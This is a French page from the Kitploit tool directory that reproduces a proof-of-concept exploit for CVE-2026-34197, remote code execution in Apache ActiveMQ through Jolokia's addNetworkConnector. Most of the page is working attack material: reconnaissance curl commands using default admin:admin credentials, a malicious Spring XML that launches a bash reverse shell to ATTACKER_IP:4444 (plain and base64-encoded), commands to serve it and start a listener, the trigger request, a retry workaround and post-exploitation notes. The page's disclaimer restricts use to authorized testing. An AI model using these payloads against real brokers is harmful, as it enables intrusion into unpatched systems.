Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-34197-PoC — Preuve de concept d'exploitation pour CVE-2026-34197, une RCE dans Apache ActiveMQ via addNetworkConnector de Jolokia, avec notes techniques et payload de shell inversé. | Kitploit
Outils/GitHubGitHub/nirvanasec/cve-2026-34197-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubnirvanasec/cve-2026-34197-poc

CVE-2026-34197-PoC

Preuve de concept d'exploitation pour CVE-2026-34197, une RCE dans Apache ActiveMQ via addNetworkConnector de Jolokia, avec notes techniques et payload de shell inversé.

Voir le dépôt
il y a 7h 35mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-34197 — Apache ActiveMQ Jolokia addNetworkConnector RCE

Preuve de concept et notes techniques pour CVE-2026-34197, une vulnérabilité d'exécution de code à distance dans Apache ActiveMQ Classic accessible via le pont JMX-HTTP Jolokia.

  • Versions affectées : ActiveMQ Classic < 5.19.4, et 6.0.0 – 6.2.2
  • Corrigé dans : 5.19.6 / 6.2.5
  • CVSS 3.1 : 8.8
  • Cause racine : la politique d'accès Jolokia par défaut (conf/jolokia-access.xml) accorde exec sur chaque MBean org.apache.activemq:*. Cela inclut Broker.addNetworkConnector(String), qui accepte une URI de transport vm:// dont le paramètre de requête brokerConfig est récupéré et analysé par le broker comme un . Un bean dont la classe est avec est instancié — et démarré — comme effet secondaire de la résolution du graphe de beans par Spring. Aucune chaîne de gadgets de désérialisation requise.
fichier de définition de bean Spring XML
java.lang.ProcessBuilder
init-method="start"

⚠️ Pour tests autorisés / recherche / CTF uniquement. Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.


1. Reconnaissance

root@kitploit:~
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool

Confirmez que exec est réellement accessible sur le MBean Broker :

root@kitploit:~
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
  | python3 -m json.tool | grep -A3 addNetworkConnector

2. Hébergez le XML Spring malveillant

addNetworkConnector(String) n'accepte pas une URI vm://... nue — elle est d'abord analysée comme une URI d'agent de découverte, et vm n'est pas un schéma de découverte enregistré (DiscoveryAgent scheme NOT recognized: [vm]). Enveloppez-la dans static:(...), le schéma de découverte statique d'ActiveMQ, qui transmet l'URI vm:// interne sans modification :

root@kitploit:~
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)

poc.xml :

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Le wrapper <![CDATA[...]]> est nécessaire car la commande one-liner du reverse shell contient &, que XML tenterait sinon d'analyser comme le début d'une référence d'entité. Une option équivalente, sans échappement, consiste à encoder la commande en base64 :

root@kitploit:~
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>

Servez-le :

root@kitploit:~
python3 -m http.server 8000

Démarrez un écouteur :

root@kitploit:~
nc -lvnp 4444

3. Déclenchez-le via Jolokia

root@kitploit:~
curl -s -u admin:admin \
  -X POST "http://$TARGET:8161/api/jolokia/" \
  -H "Content-Type: application/json" \
  -H "Origin: http://$TARGET:8161" \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "addNetworkConnector(java.lang.String)",
    "arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
  }'

L'en-tête Origin est important. Si le jolokia-access.xml de cette version a l'application de CORS activée (un bloc <cors></cors>, même vide), Jolokia exige un Origin/Referer bien formé sur les requêtes modifiant l'état. Omettez-le et vous obtiendrez une réponse de refus de politique qui peut donner l'impression que le système est corrigé alors qu'il ne l'est pas.

Un appel réussi renvoie :

root@kitploit:~
{"value":"NC","status":200}

L'appel est aveugle sur HTTP — il n'y a pas de corps de réponse transportant la sortie de commande — donc votre écouteur de l'étape précédente est ce qui capture réellement le shell.

4. Le piège InstanceAlreadyExistsException

addNetworkConnector(String) enregistre toujours l'objet JMX résultant sous le nom de connecteur NC, quelle que soit l'URI que vous transmettez. C'est une valeur par défaut codée en dur dans ActiveMQ lui-même, pas quelque chose dérivé de la requête :

root@kitploit:~
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";

BrokerViewMBean.addNetworkConnector(String discoveryAddress) n'expose jamais de moyen de la surcharger — il n'y a pas d'astuce de nom/paramètre de requête qui change le ObjectName enregistré (testé manuellement : ajouter ?name=whatever en dehors du wrapper static:(...) est silencieusement ignoré).

Conséquence : le second appel à addNetworkConnector — que ce soit votre propre nouvelle tentative après un payload cassé, ou simplement parce que le connecteur est déjà enregistré suite à une exécution réussie antérieure — échoue :

root@kitploit:~
{
  "error_type": "java.io.IOException",
  "error_type_jmx": "javax.management.InstanceAlreadyExistsException",
  "error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
  "status": 500
}

Cela ne nécessite pas de redémarrer le broker pour s'en remettre. Broker expose également removeNetworkConnector(String) via la même politique Jolokia (l'autorisation <allow operation="*"> sur org.apache.activemq:* couvre toutes les opérations du broker, pas seulement celle-ci). Supprimez le connecteur obsolète par nom et réessayez :

root@kitploit:~
curl -s -u admin:admin \
  -X POST "http://$TARGET:8161/api/jolokia/" \
  -H "Content-Type: application/json" \
  -H "Origin: http://$TARGET:8161" \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }'

Un appel réussi renvoie {"value":true,"status":200}. Relancez l'étape 3 immédiatement après — elle ré-enregistre NC et déclenche à nouveau poc.xml.

5. Notes de post-exploitation

  • Le reverse shell atterrit sous l'identité de l'utilisateur du système d'exploitation qui possède le processus JVM ActiveMQ — généralement pas la même identité que le credential HTTP Basic admin de Jolokia/console, qui n'est pas lié au compte du système d'exploitation.
  • addNetworkConnector ne fait pas que lancer le bean Spring une fois — il laisse un objet connecteur réseau vivant enregistré sur le broker (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). C'est un artefact durable de l'exploitation, indépendant du fait que le processus engendré persiste ou non.

Références

  • Avis de sécurité officiel Apache ActiveMQ
  • Divulgation Horizon3.ai
  • NetworkBridgeConfiguration.java — source de la valeur par défaut private String name = "NC";
  • BrokerViewMBean.java — interface JMX addNetworkConnector / removeNetworkConnector
  • NetworkConnector.java
  • DiscoveryNetworkConnector.java
  • Couverture de l'ajout au KEV de la CISA, avril 2026
Télécharger l’outil